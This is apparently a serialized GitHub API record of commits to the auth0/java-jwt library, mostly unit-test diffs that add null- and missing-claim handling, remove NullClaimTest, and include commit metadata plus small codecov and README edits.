-        assertThat(TokenUtils.splitToken(signed)[1], is("e30"));
-    }
-
     @Test
     public void shouldSetCorrectAlgorithmInTheHeader() {
         String signed = JWTCreator.init()
@@ -615,7 +604,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
-        
+
         String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
         ObjectMapper mapper = new ObjectMapper();
         List<Object> list = (List<Object>) mapper.readValue(body, Map.class).get("data");
@@ -648,52 +637,6 @@ public void shouldAcceptCustomClaimForNullListItem() {
                 .sign(Algorithm.HMAC256("secret"));
     }
 
-    @Test
-    @SuppressWarnings("unchecked")
-    public void shouldAcceptCustomClaimWithNullMapAndRemoveClaim() throws Exception {
-        String jwt = JWTCreator.init()
-                .withClaim("map", "stubValue")
-                .withClaim("map", (Map<String, ?>) null)
-                .sign(Algorithm.HMAC256("secret"));
-
-        assertThat(jwt, is(notNullValue()));
-        String[] parts = jwt.split("\\.");
-
-        String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        ObjectMapper mapper = new ObjectMapper();
-        Map<String, Object> map = (Map<String, Object>) mapper.readValue(body, Map.class);
-        assertThat(map, anEmptyMap());
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    public void shouldAcceptCustomClaimWithNullListAndRemoveClaim() throws Exception {
-        String jwt = JWTCreator.init()
-                .withClaim("list", "stubValue")
-                .withClaim("list", (List<String>) null)
-                .sign(Algorithm.HMAC256("secret"));
-
-        assertThat(jwt, is(notNullValue()));
-        String[] parts = jwt.split("\\.");
-
-        String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        ObjectMapper mapper = new ObjectMapper();
-        Map<String, Object> map = (Map<String, Object>) mapper.readValue(body, Map.class);
-        assertThat(map, anEmptyMap());
-    }
-
-    @Test
-    public void shouldRefuseCustomClaimForNullMapValue() {
-        Map<String, Object> data = new HashMap<>();
-        data.put("subKey", null);
-
-        exception.expect(IllegalArgumentException.class);
-
-        JWTCreator.init()
-                .withClaim("pojo", data)
-                .sign(Algorithm.HMAC256("secret"));
-    }
-
     @Test
     public void shouldRefuseCustomClaimForNullMapKey() {
         Map<String, Object> data = new HashMap<>();
@@ -814,26 +757,10 @@ public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
         assertThat(payloadJson, JsonMatcher.hasEntry(PublicClaims.ISSUER, "abc"));
     }
 
-    @Test
-    public void shouldRemovePayloadIfTheValueIsNull() throws Exception {
-        String jwt = JWTCreator.init()
-                .withClaim("key", "stubValue")
-                .withPayload(Collections.singletonMap("key", (Map<String, ?>) null))
-                .sign(Algorithm.HMAC256("secret"));
-
-        assertThat(jwt, is(notNullValue()));
-        String[] parts = jwt.split("\\.");
-
-        String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        ObjectMapper mapper = new ObjectMapper();
-        Map<String, Object> map = (Map<String, Object>) mapper.readValue(body, Map.class);
-        assertThat(map, anEmptyMap());
-    }
-
     @Test
     public void withPayloadShouldNotAllowCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String and Date");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
@@ -860,7 +787,7 @@ public void withPayloadShouldAllowNullListItems() {
     @Test
     public void withPayloadShouldNotAllowListWithCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String and Date");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("list", Arrays.asList("item1", new UserPojo("name", 42)));
@@ -872,7 +799,7 @@ public void withPayloadShouldNotAllowListWithCustomType() {
     @Test
     public void withPayloadShouldNotAllowMapWithCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String and Date");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
@@ -922,4 +849,75 @@ public void withPayloadShouldAllowNestedSupportedTypes() {
         assertThat(payloadJson, JsonMatcher.hasEntry("listClaim", listClaim));
         assertThat(payloadJson, JsonMatcher.hasEntry("objClaim", mapClaim));
     }
+
+    @Test
+    public void withPayloadShouldSupportNullValuesEverywhere() {
+         /*
+        JWT:
+            {
+              "listClaim": [
+                "answer to ultimate question of life",
+                42,
+                null
+              ],
+              "claim": null,
+              "listNestedClaim": [
+                1,
+                2,
+                {
+                  "nestedObjKey": null
+                }
+              ],
+              "objClaim": {
+                "nestedObjKey": null,
+                "objObjKey": {
+                  "nestedObjKey": null,
+                  "objListKey": [
+                    null,
+                    "nestedList2"
+                  ]
+                },
+                "objListKey": [
+                  null,
+                  "nestedList2"
+                ]
+              }
+            }
+         */
+
+        List<?> listClaim = Arrays.asList("answer to ultimate question of life", 42, null);
+        List<?> listNestedClaim = Arrays.asList(1, 2, Collections.singletonMap("nestedObjKey", null));
+        List<?> objListKey = Arrays.asList(null, "nestedList2");
+        HashMap<String, Object> objClaim = new HashMap<>();
+        objClaim.put("nestedObjKey", null);
+        objClaim.put("objListKey", objListKey);
+        objClaim.put("objObjKey", new HashMap<>(objClaim));
+
+
+        Map<String, Object> payload = new HashMap<>();
+        payload.put("claim", null);
+        payload.put("listClaim", listClaim);
+        payload.put("listNestedClaim", listNestedClaim);
+        payload.put("objClaim", objClaim);
+
+        String jwt = JWTCreator.init()
+                .withPayload(payload)
+                .withHeader(payload)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
+        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
+
+        assertThat(payloadJson, JsonMatcher.hasEntry("claim", null));
+        assertThat(payloadJson, JsonMatcher.hasEntry("listClaim", listClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("listNestedClaim", listNestedClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("objClaim", objClaim));
+
+        assertThat(headerJson, JsonMatcher.hasEntry("claim", null));
+        assertThat(headerJson, JsonMatcher.hasEntry("listClaim", listClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("listNestedClaim", listNestedClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("objClaim", objClaim));
+    }
 }u}(jF  (5ea2b4ef97f449b76b80de023a9fc7d6cda8f759j  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X  @@ -1,7 +1,6 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.exceptions.JWTDecodeException;
-import com.auth0.jwt.impl.NullClaim;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
@@ -216,7 +215,8 @@ public void shouldGetMissingClaimIfClaimDoesNotExist() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.K17vlwhE8FCMShdl1_65jEYqsQqBOVMPUU9IgG-QlTM");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("notExisting"), is(notNullValue()));
-        assertThat(jwt.getClaim("notExisting"), is(instanceOf(NullClaim.class)));
+        assertThat(jwt.getClaim("notExisting").isMissing(), is(true));
+        assertThat(jwt.getClaim("notExisting").isNull(), is(false));
     }
 
     @Test
@@ -295,13 +295,28 @@ public void shouldGetCustomArrayClaimOfTypeInteger() {
 
     @Test
     public void shouldGetCustomMapClaim() {
-        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjp7InN0cmluZyI6InZhbHVlIiwibnVtYmVyIjoxLCJib29sZWFuIjp0cnVlfX0.-8aIaXd2-rp1lLuDEQmCeisCBX9X_zbqdPn2llGxNoc";
+        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjp7InN0cmluZyI6InZhbHVlIiwibnVtYmVyIjoxLCJib29sZWFuIjp0cnVlLCJlbXB0eSI6bnVsbH19.6xkCuYZnu4RA0xZSxlYSYAqzy9JDWsDtIWqSCUZlPt8";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         Map<String, Object> map = jwt.getClaim("name").asMap();
         assertThat(map, hasEntry("string", "value"));
         assertThat(map, hasEntry("number", 1));
         assertThat(map, hasEntry("boolean", true));
+        assertThat(map, hasEntry("empty", null));
+    }
+
+    @Test
+    public void shouldGetCustomNullClaim() {
+        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpudWxsfQ.X4ALHe7uYqEcXWFBnwBUNRKwmwrtDEGZ2aynRYYUx8c";
+        DecodedJWT jwt = JWT.decode(token);
+        assertThat(jwt.getClaim("name").isNull(), is(true));
+    }
+
+    @Test
+    public void shouldGetListClaim() {
+        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbbnVsbCwiaGVsbG8iXX0.SpcuQRBGdTV0ofHdxBSnhWEUsQi89noZUXin2Thwb70";
+        DecodedJWT jwt = JWT.decode(token);
+        assertThat(jwt.getClaim("name").asList(String.class), contains(null, "hello"));
     }
 
     @Testu}(jF  (7d2123a994b057c3c1c07e3a91c5b2c1c9f9d2c8j  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj  modifiedj  K+j  K j  K+j  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X  @@ -1064,4 +1064,47 @@ public void shouldRemovePredicateCheckForNull() {
         assertThat(verifier.expectedChecks, not(hasKey("claimName")));
     }
 
+    @Test
+    public void shouldSuccessfullyVerifyClaimWithNull() {
+        String jwt = JWTCreator.init()
+                .withNullClaim("claimName")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withNullClaim("claimName")
+                .build();
+
+        DecodedJWT decodedJWT = verifier.verify(jwt);
+        assertThat(decodedJWT, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldThrowWhenNullClaimHasValue() {
+        exception.expect(InvalidClaimException.class);
+        exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
+
+        String jwt = JWTCreator.init()
+                .withClaim("claimName", "value")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withNullClaim("claimName")
+                .build()
+                .verify(jwt);
+    }
+
+    @Test
+    public void shouldThrowWhenNullClaimIsMissing() {
+        exception.expect(InvalidClaimException.class);
+        exception.expectMessage("The Claim 'anotherClaimName' value doesn't match the required one.");
+
+        String jwt = JWTCreator.init()
+                .withClaim("claimName", "value")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withNullClaim("anotherClaimName")
+                .build()
+                .verify(jwt);
+    }
 }u}(jF  (c4a04d81179da54fda641188aa922bd31dae9c14j  9lib/src/test/java/com/auth0/jwt/impl/BasicHeaderTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X  @@ -135,6 +135,7 @@ public void shouldGetNotNullExtraClaimIfMissing() {
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getHeaderClaim("missing"), is(notNullValue()));
-        assertThat(header.getHeaderClaim("missing"), is(instanceOf(NullClaim.class)));
+        assertThat(header.getHeaderClaim("missing").isMissing(), is(true));
+        assertThat(header.getHeaderClaim("missing").isNull(), is(false));
     }
 }
\ No newline at end of fileu}(jF  (44ef2b9fe77ad9e37bb3cb5a992d08c357d9b050j  ;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javaj  modifiedj  K)j  Kj  K-j  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X6  @@ -331,8 +331,8 @@ public void shouldReturnBaseClaimWhenParsingMissingNode() {
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
-        assertThat(claim, is(instanceOf(NullClaim.class)));
-        assertThat(claim.isNull(), is(true));
+        assertThat(claim.isMissing(), is(true));
+        assertThat(claim.isNull(), is(false));
     }
 
     @Test
@@ -341,8 +341,8 @@ public void shouldReturnBaseClaimWhenParsingNullNode() {
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
-        assertThat(claim, is(instanceOf(NullClaim.class)));
         assertThat(claim.isNull(), is(true));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
@@ -351,8 +351,8 @@ public void shouldReturnBaseClaimWhenParsingNullValue() {
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
-        assertThat(claim, is(instanceOf(NullClaim.class)));
         assertThat(claim.isNull(), is(true));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
@@ -363,6 +363,7 @@ public void shouldReturnNonNullClaimWhenParsingObject() {
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
@@ -373,6 +374,7 @@ public void shouldReturnNonNullClaimWhenParsingArray() {
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
@@ -383,6 +385,7 @@ public void shouldReturnNonNullClaimWhenParsingList() {
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
@@ -393,6 +396,7 @@ public void shouldReturnNonNullClaimWhenParsingStringValue() {
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
@@ -403,6 +407,7 @@ public void shouldReturnNonNullClaimWhenParsingIntValue() {
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
@@ -413,6 +418,7 @@ public void shouldReturnNonNullClaimWhenParsingDoubleValue() {
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
@@ -423,6 +429,7 @@ public void shouldReturnNonNullClaimWhenParsingDateValue() {
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
@@ -433,6 +440,18 @@ public void shouldReturnNonNullClaimWhenParsingBooleanValue() {
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
+    }
+
+    @Test
+    public void shouldReturnNullIsTrue() {
+        JsonNode value = mapper.valueToTree(null);
+        Claim claim = claimFromNode(value);
+
+        assertThat(claim, is(notNullValue()));
+        assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
+        assertThat(claim.isNull(), is(true));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
@@ -441,4 +460,22 @@ public void shouldDelegateToJsonNodeToString() {
         Claim claim = claimFromNode(value);
         assertThat(claim.toString(), is(value.toString()));
     }
+
+    @Test
+    public void shouldConvertToString() {
+        JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
+        JsonNode nullValue = mapper.valueToTree(null);
+        JsonNode missingValue = MissingNode.getInstance();
+
+        Claim claim = claimFromNode(value);
+        Claim nullClaim = claimFromNode(nullValue);
+        Claim missingClaim = claimFromNode(missingValue);
+
+        assertThat(claim.toString(), is("{\"name\":\"john\",\"id\":123}"));
+        assertThat(nullClaim.isNull(), is(true));
+        assertThat(nullClaim.toString(), is("Null claim"));
+        assertThat(missingClaim.isMissing(), is(true));
+        assertThat(missingClaim.toString(), is("Missing claim"));
+
+    }
 }
\ No newline at end of fileu}(jF  (bd4781305346f9534f7232c14696fcf41508b49aj  7lib/src/test/java/com/auth0/jwt/impl/NullClaimTest.javaj  removedj  K j  KRj  KRj  https://github.com/auth0/java-jwt/blob/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://github.com/auth0/java-jwt/raw/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.java?ref=0029a6363f89c1af43db64a76a002e8169c2656cj  Xz  @@ -1,82 +0,0 @@
-package com.auth0.jwt.impl;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import static org.hamcrest.Matchers.is;
-import static org.hamcrest.Matchers.nullValue;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-public class NullClaimTest {
-    private NullClaim claim;
-
-    @Before
-    public void setUp() {
-        claim = new NullClaim();
-    }
-
-    @Test
-    public void shouldBeNull() {
-        assertThat(claim.isNull(), is(true));
-    }
-
-    @Test
-    public void shouldGetAsBoolean() {
-        assertThat(claim.asBoolean(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsInt() {
-        assertThat(claim.asInt(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsLong() {
-        assertThat(claim.asLong(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsDouble() {
-        assertThat(claim.asDouble(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsString() {
-        assertThat(claim.asString(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsDate() {
-        assertThat(claim.asDate(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsInstant() {
-        assertThat(claim.asInstant(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsArray() {
-        assertThat(claim.asArray(Object.class), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsList() {
-        assertThat(claim.asList(Object.class), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsMap() {
-        assertThat(claim.asMap(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsCustomClass() {
-        assertThat(claim.as(Object.class), is(nullValue()));
-    }
-
-    @Test
-    public void shouldHaveToString() {
-        assertThat(claim.toString(), is("Null Claim"));
-    }
-}
\ No newline at end of fileu}(jF  (da0c880e1b30a309c7030fa433cf18b00a5c233dj  9lib/src/test/java/com/auth0/jwt/impl/PayloadImplTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X"  @@ -166,7 +166,8 @@ public void shouldGetNotNullExtraClaimIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getClaim("missing"), is(notNullValue()));
-        assertThat(payload.getClaim("missing"), is(instanceOf(NullClaim.class)));
+        assertThat(payload.getClaim("missing").isMissing(), is(true));
+        assertThat(payload.getClaim("missing").isNull(), is(false));
     }
 
     @Testu}(jF  (61541ccffaf6106a60091d33eee6db0a927a780cj  9lib/src/test/java/com/auth0/jwt/interfaces/ClaimTest.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X  @@ -40,6 +40,11 @@ public boolean isNull() {
             return false;
         }
 
+        @Override
+        public boolean isMissing() {
+            return false;
+        }
+
         @Override
         public Boolean asBoolean() {
             return null;u}(jF  (fb0c74a9f29f4244f662455122d1cf4717163a5aj  @lib/src/test/java/com/auth0/jwt/interfaces/VerificationTest.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X  @@ -104,6 +104,11 @@ public Verification withClaimPresence(String name) throws IllegalArgumentExcepti
             return null;
         }
 
+        @Override
+        public Verification withNullClaim(String name) throws IllegalArgumentException {
+            return null;
+        }
+
         @Override
         public Verification withClaim(String name, Boolean value) throws IllegalArgumentException {
             return null;ueu(b6a9a034b3ceac2e644308e376c0f48aefdcc6da}(sha(b6a9a034b3ceac2e644308e376c0f48aefdcc6danode_idEC_kwDOAQtL0doAKGI2YTlhMDM0YjNjZWFjMmU2NDQzMDhlMzc2YzBmNDhhZWZkY2M2ZGEcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-04-26T00:31:01Zu	committer}(j5  James Andersonj7  jim.anderson@auth0.comj9  2022-04-26T16:20:59ZumessageDocumentation updatestree}(j-  (9952b35ae3c549cbeedb4ba206bee95979298fcdurl^https://api.github.com/repos/auth0/java-jwt/git/trees/9952b35ae3c549cbeedb4ba206bee95979298fcdujE  `https://api.github.com/repos/auth0/java-jwt/git/commits/b6a9a034b3ceac2e644308e376c0f48aefdcc6da
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujE  \https://api.github.com/repos/auth0/java-jwt/commits/b6a9a034b3ceac2e644308e376c0f48aefdcc6dahtml_urlQhttps://github.com/auth0/java-jwt/commit/b6a9a034b3ceac2e644308e376c0f48aefdcc6dacomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/b6a9a034b3ceac2e644308e376c0f48aefdcc6da/commentsj3  }(login
jimmyjamesidJ7 j/  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jE  'https://api.github.com/users/jimmyjamesjQ  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj;  }(jV  
jimmyjamesjX  J7 j/  MDQ6VXNlcjI3NjIyNQ==jZ  2https://avatars.githubusercontent.com/u/276225?v=4j\  h3jE  'https://api.github.com/users/jimmyjamesjQ  https://github.com/jimmyjamesj_  1https://api.github.com/users/jimmyjames/followersja  >https://api.github.com/users/jimmyjames/following{/other_user}jc  7https://api.github.com/users/jimmyjames/gists{/gist_id}je  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jg  5https://api.github.com/users/jimmyjames/subscriptionsji  ,https://api.github.com/users/jimmyjames/orgsjk  -https://api.github.com/users/jimmyjames/reposjm  8https://api.github.com/users/jimmyjames/events{/privacy}jo  7https://api.github.com/users/jimmyjames/received_eventsjq  Userjs  uparents]}(j-  (e9549e5066aad321fa106654b630b2756d3614cdjE  \https://api.github.com/repos/auth0/java-jwt/commits/e9549e5066aad321fa106654b630b2756d3614cdjQ  Qhttps://github.com/auth0/java-jwt/commit/e9549e5066aad321fa106654b630b2756d3614cduastats}(totalK0	additionsK'	deletionsK	ufiles](}(j-  (de278af264a074fa68a1e3b2f81e0910a58382f6filename.codecov.ymlstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/b6a9a034b3ceac2e644308e376c0f48aefdcc6da/.codecov.ymlraw_url[https://github.com/auth0/java-jwt/raw/b6a9a034b3ceac2e644308e376c0f48aefdcc6da/.codecov.ymlcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/.codecov.yml?ref=b6a9a034b3ceac2e644308e376c0f48aefdcc6dapatch@@ -11,5 +11,6 @@ coverage:
     project:
       default:
         target: auto
+        threshold: 1%
         if_no_uploads: error
 comment: false
\ No newline at end of fileu}(j-  (624a7f689e4eb0af01b647c03ca6054fe2f5c3a8j  	README.mdj  modifiedj  K"j  Kj  K'j  Yhttps://github.com/auth0/java-jwt/blob/b6a9a034b3ceac2e644308e376c0f48aefdcc6da/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/b6a9a034b3ceac2e644308e376c0f48aefdcc6da/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=b6a9a034b3ceac2e644308e376c0f48aefdcc6daj  X  @@ -11,15 +11,15 @@ A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.or
 
 If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
 
-> This library requires Java 8 or higher. The last version that supported Java 7 was 3.11.0.
+> You are viewing the documentation for the v4 beta release. For the latest stable release, please see the [version 3.x documentation](https://github.com/auth0/java-jwt).
 
 ## Table of Contents
+- [**Requirements**](#requirements)
 - [**Installation**](#installation)
